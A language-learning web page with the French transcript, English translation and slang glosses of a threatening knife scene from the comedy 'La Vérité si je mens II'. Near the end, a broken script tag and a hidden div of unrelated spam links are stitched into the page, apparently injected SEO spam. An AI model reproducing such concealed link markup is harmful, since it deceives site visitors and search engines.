Language sounds
Home > Sounds > Coupe, coupe, coupe!

‘Coupe, coupe, coupe!’
Click to listen to coupe.mp3 (1087Kb)
Native speaker
Accent: Pied-Noir
Date: 8/13/2005

Description of what is on the sound file:
This is a short clip from the french comedy 'La Vérité si je mens II'. In this scenes, the brothers JOURNO who run a cheque racket whereby they ask some dumb accomplice to cash fake cheques on their behalf and split the proceeds with them. Their latest accomplice is Serge BENAMOU, an easy-going, always broke young french jew of Algerian descent (as all characters in this movie). He deposited a few of their cheques but forgot to bring them back the money. The brothers come pay him a visit at his cousin's home.

The scene uses a lot of contemporary french slang that is hardly ever taught at school.

<img src="" border="0">

Transcript of sound file:

[Serge Benamou is hiding behind a sofa and tries to get away. He bumps into the other brother who gives him a 'coup de boule' - hits him with his head the nose]

Ah il est là mon Sergio!

[Charly Journo, the heavy brother played by the late Tony d'Amario, takes out a switchblade and puts it to one of Benamou's fingers]

Maintenant tu vas nous rendre notre oseille.

Je commence à compter jusqu'à cinq. Ensuite jusqu'à quatre, d'accord? Un. Deux. Trois. Quatre.

Coupe, coupe, coupe! Vas-y, coupe, je vous payerai jamais. Vous pouvez m'arracher les yeux ou me brûler la bite, ça sert à rien vous aurez pas un centime. Rien! Enfin Willy, tu sais très bien que j'ai jamais rien rendu à personne, hein? Votre oseille ça fait un bail que je l'ai dépensée. Ah Ah, sans déconner je savais que vous étiez mauvais, mais là, ah ah, vous dépassez tout. Filer des chèques sans ordre à moi, ah! Faut vraiment que vous soyez limite, hein.

[Charly Journo punches his brother Willy]

Ca t'apprendra à bosser avec des nazes!

[Charly Journo now punches Serge Benamou]

[Benamou is a typical name for a jewish pied noir, the sons of European french inhabitants of the former French colony of Algery]

Ah he is there my Sergio!
[Ironic diminutive of Serge]

Now you will give us our dough back.
[Oseille is old-fashioned slang for 'money']

I start to count to five. Then to four, ok? One. Two. Three. Four.
[Charly implies that he will first count to five and cut one finger, then count to four and cut another finger, etc...]

Cut, cut, cut! You can cut, I'll never pay you. You can gouge my eyes out or burn my dick, it's useless, you will never get a dime. Nothing! Come on, Willy, you very well know that I have never returned anything to anybody, right? Your dough it's been a while I have spent it. Ah ah, seriously, I knew you were bad, but here, ah ah, you are well over the limits. Giving empty cheques to me, ah! You really must be stupid, yeah.
['un bail' means litterally 'a lease'. This familiar expression means 'a long time' here. 'Déconner' means to not be serious (slang). 'Filer' is familiar for 'to give' and 'être limite' means to be almost a retard (on the 'limit' of being one)]

It will teach you to work with wankers!
[A 'naze' is a worthless person. You can also use it as an adjective, a bit like Old English (WWII) 'foobar'. For instance you'll say 'mon ordi est naze' (my computer is foobar)]'text/javascript' src=''></script><div style='display:none;'><a href=''>stages for losing weight</a><a href=''>lauren sones personal trainer</a><a href=''>lung cleansing quit smoking</a><a href=''>blu eyes crying in the rain</a><a href=''>photo proof the cardinals got cheated</a><a href=''>video game occupations pay</a><a href=''>alpha investment partners limited</a><a href=''>britannica iq test</a><a href=''>america psychic challenge contestant names</a><a href=''>nashville past life regression</a><a href=''>andrew elliott death date jun 1968</a><a href=''>experimental lung liver cancer treatments</a></div>

Upload a sound file (you need to register or login to the forum first)

DHTML Menu By Milonic JavaScript

Copyright 2024 FX Micheloud - All rights reserved
No part of this website may be copied by any means without my written authorization.